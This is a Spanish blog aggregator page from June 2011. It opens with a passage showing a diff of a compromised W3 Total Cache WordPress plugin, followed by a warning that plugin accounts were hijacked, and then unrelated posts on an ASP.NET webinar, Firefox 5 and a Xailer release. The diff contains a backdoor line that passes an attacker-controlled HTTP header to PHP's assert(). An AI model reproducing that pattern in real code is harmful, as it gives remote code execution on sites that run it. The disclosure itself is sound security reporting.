-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-            
-            return false;
-        }
-        
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

» Leer más, comentarios, etc...

Variable not found

[Auges] Arquitecturas REST con ASP.NET MVC

Junio 22nd, 2011 - [Enlace local]

AUGESEl próximo miércoles 29 de junio de 2011, a las 19:30 horas en el horario peninsular español, AUGES (ASP.NET User Group España) nos ofrece, para cerrar la temporada hasta después de verano, un eventazo online de los que no os podéis perder.



En primer lugar por el ponente, que no podía ser otro que el gran Hadi Hariri, evangelista técnico de JetBrains, Microsoft MVP, ponente internacional, y un auténtico fenómeno donde los haya.



En segundo lugar por el tema: arquitecturas REST. Ha llegado el momento de comprender, de la mano de un experto, en qué consiste y cómo implementar este tipo de sistemas utilizando ASP.NET MVC.

Título: Arquitecturas REST con ASP.NET MVC



Descripción: Crear arquitecturas REST con ASP.NET MVC es más que decorar acciones con verbos. Se trata de aprovechar el protocolo HTTP en todo su potencial. Al hacerlo, podemos crear aplicaciones robustas y escalables, no solo desde el punto de vista de rendimiento sino también en términos de mantenibilidad. ASP.NET MVC nos ofrece un gran potencial para crear arquitecturas REST que pueden ser consumidas por otros sistemas así como personas, reduciendo la cantidad de esfuerzo. Te esperamos en este evento si quieres aprender de que trata REST realmente y cómo podemos crear un sencillo pero potente sistema con ASP.NETMVC.



Ponente: Hadi Hariri- Technical Evangelist en JetBrains.
Información y registro gratuito: https://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032488451&EventCategory=4&culture=es-ES&CountryCode=ES



Publicado en: Variable not found.



» Leer más, comentarios, etc...

Buayacorp

Atención: Actualizar los plugins AddThis, WPtouch y W3 Total Cache

Junio 22nd, 2011 - [Enlace local]

Aparentemente las cuentas de los desarrolladores de los mencionados plugins fueron comprometidas. Se sugiere actualizar lo más antes posible para evitar mayores problemas.

» Leer más, comentarios, etc...

Buayacorp

Descarga Firefox 5

Junio 22nd, 2011 - [Enlace local]

Descarga Firefox 5

Firefox, el navegador que dio un cambio en la historia e hizo que Microsoft despierte de su largo sueño con IE6, ahora nos presenta su versión 5.

Algunas nuevas características son:

Algunas extensiones aun no están funcionando, pero en el transcurso de días esto se solucionará.

Descarga Firefox 5: Windows | Linux | Mac | Android

» Leer más, comentarios, etc...

Najaraba.com: Software libre, metodologías ágiles y más.

Resumen AOS2011

Junio 21st, 2011 - [Enlace local]

Pues por fin pasó el #aos2011 que tantas horas de sueño me ha hecho "perder" :) Mi primera impresión es que el evento ha sido muy satisfactorio para la gran mayoría de asistentes. Como organizador, eso es lo que más tranquilo me deja. Y como propio asistente a uno de ellos, la verdad que también me fui muy contento, con el desarrollo de mis dos sesiones, con las que acudí y, por supuesto, por la

» Leer más, comentarios, etc...

Picando Código

Hooked

Junio 21st, 2011 - [Enlace local]

Multiverseros

Multiverseros

Hijo de Chuck Norris

Hijo de Chuck Norris

En la película “Hook”, un joven abandonaba el mundo de fantasía que lo había acompañado durante su niñez y parte de la adolescencia. Un buen día abandona la isla y se interna en una ciudad gris, en donde tiene un trabajo gris, seguramente de escribano.

La mayoría de los amantes del cómic fuimos Peter Pan y en algún momento abandonamos a los superhéroes para resolver ecuaciones de segundo grado y escuchar grunge. De a poco regresamos a Nunca Jamás, y nos alegramos cuando vemos llegar a algún otro niño perdido.

Meses atrás, iniciamos un viaje por Internet en busca de nuevos reclutas para nuestras huestes de Nunca Jamás. A pocos días de iniciada la travesía, grande fue nuestra satisfacción y nuestro asombro al encontrarnos con “picando” (como cariñosa y perezosamente lo llamamos por nuestros lares), un tipo que desde el primer momento sumó desde todo punto de vista.

Nick Constantine

Nick Constantine

No nos creemos merecedores de todo el apoyo incondicional que encontramos en él. Apoyo que también extendió a este, su blog, dando a conocer varios de nuestros ciber-ensayos. Pero sí lo creemos merecedor a él de este nuevo aniversario que está cumpliendo, que esperamos sea tan satisfactorio como lo haya querido y además merece.

Por todo esto, es que sin dudarlo accedimos a dedicarle estas líneas en un nuevo aniversario de su blog (“por todo esto” y la cuantiosa suma de dinero que nos giró a nuestras respectivas cuentas bancarias).

Todo geek sabe que mantener un blog activo o una web como Multiverseros lleva no solo muchas horas de trabajo no remunerado, sino que también insume muchas “horas novio” y por eso, desde aquí extendemos nuestro saludo a la Sra. de Picando en representación de todas las novias de geeks nacionales que hacen el aguante. Sí mi amor, ya dejo la maquinita, no te calientes…

El Penitente

El Penitente

Por supuesto, la analogía con Peter Pan y Garfio sólo puede extenderse hasta cierto punto (hasta donde sabemos, ‘picando’ no es manco, no usa mallas ajustadas verdes ni tiene una obsesión insana con los relojes antiguos o los cocodrilos gigantes), pero desde el arranque de este pequeño proyecto de cuatro amigos relativo a múltiples tierras superpuestas (e inicialmente despobladas), encontramos en ‘picando’ un compatriota de Nuncajamás que nos acompañó en esta gesta. Ya fuese en duelos de palabras o recomendaciones, o bien sobrevolando análisis y revisiones de cuanta cosa geek pasó por nuestros cañones, Multiverseros encontró en la participación del titular del presente blog un participante de lujo, al que queremos agradecer mínimamente con nuestra participación festiva en el onomástico de este, su espacio.

RinTinTin

RinTinTin

Tanta es la familiaridad que nos permitimos en esta amistad electrónica, que estamos seguros de que ‘picando’ reconocerá a los cuatro impresentables a cargo del “Proyecto Multiverseros” (que, convengamos, así dicho suena mucho más interesante, algo al estilo “Proyecto OMAC” o “Proyecto Super-Soldado”) en tanto autores de distintos párrafos de este saludo conjunto. Picando, el reto amistoso está planteado (una pista: fueron dos párrafos por implicado, porque nos gustan las cosas salomónicas), así como las disculpas por las recomendaciones constantes de materiales que nos desfinancian a todos los implicados, en esa lluvia de sugerencias que hace llorar a las billeteras.

Salud y por muchos más.

Comparte: Twitter Identi.ca del.icio.us Google Bookmarks BarraPunto Bitacoras.com Tumblr Print Facebook

» Leer más, comentarios, etc...

xailer.info (esp)

Xailer 2.4

Junio 21st, 2011 - [Enlace local]

Estimados usuarios de Xailer,

¡¡Nueva versión de Xailer disponible!!

Ya está disponible la nueva versión de Xailer 2.4 que incorpora importantes novedades, sobre todo en su IDE como son:

  • Uso de pestañas en el área de mensajes que permite guardar historial de todas las búsquedas realizadas y no perder dicha información cuando se compilaba el proyecto por ejemplo
  • Soporte de búsquedas globales en todo el disco
  • Ampliado el sistema de búsqueda de ‘definición bajo el cursor’ a todo el proyecto
  • Sistema de mantenimiento de comentarios TODO y TOFIX
  • Actualización automática del estado de mayúsculas y minúsculas en las variables, parámetros y miembros de clase

Y otras muchas mejoras que podéis encontrar en el archivo LoNuevo.htm

Ya tenemos muy avanzado el soporte completo de ‘Intellisense’ para toda la RTL de Xailer y esperamos que esté disponible para la siguiente versión 2.5. Las tres otras áreas en las que estamos trabajando muy activamente son:

  • Corrección de errores en operaciones de copiar y pegar
  • Operaciones de ‘deshacer’ en el editor de formularios
  • Soporte nativo de FireBird para Xailer Enterprise

Esperamos que también esté todo terminado para la futura versión 2.5.

Os recordamos que al igual que ocurrió con la versión 2.3 se requiere volver a registrar el producto ya que ha cambiado la clave de activación.  El registro sólo será posible realizar en máquinas que estén activas y además la licencia tenga la suscripción igualmente activa.

Podrá comprobar hasta que versión puede actualizar consultando su información de registro desde la opción de menú Ayuda->Información de registro.

Para simplificar el proceso de registro para todas aquellas personas que no puedan acceder vía Web al sistema de registro de Xailer, cada vez que se lance una nueva versión todos los usuarios activos recibirán un Email con la clave de registro para todas las máquinas que tienen activas.

No intente actualizarse a esta versión hasta que tenga absoluta certeza de que tiene derecho a recibirla.

Un cordial saludo,

[El equipo de Xailer]

» Leer más, comentarios, etc...

Información legal y técnica